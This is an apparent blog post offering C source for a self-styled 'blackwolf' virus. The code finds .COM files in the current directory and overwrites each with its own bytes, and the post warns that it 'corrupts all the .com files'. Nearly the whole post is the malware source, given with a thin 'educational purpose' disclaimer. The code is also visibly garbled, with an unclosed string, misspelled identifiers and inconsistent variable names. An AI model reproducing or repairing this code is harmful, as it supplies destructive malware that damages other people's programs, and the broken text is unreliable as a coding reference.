My first "blackwolf" virus! try it at ur own risk! Only for educational purpose! ☻
FILE *virus, *host; int x,y,done; char buff[256]; stuct ffblk ffblk; main() { done=(findfirst("*.COM,&ffblk,0)); while(!done) { printf("infecting %s\n",ffblj.ff_name); virus=fopen(_arg[0],"rb"); Host=fopen(ffblk.ff_name,"rb+"); x=9504; while(x>256) { fread(buff,256,1,virus); fwrite(buff,256,1,Host); x-=256; } fread(buff,x,1,virus); fwrite(buff,x,1,Host); fcloseall(); done=findnext(&ffblk); } return (0); }
This virus corrupts all the .com files . so be extremely careful what you do with it!
eNJOY! ☻
No comments:
Post a Comment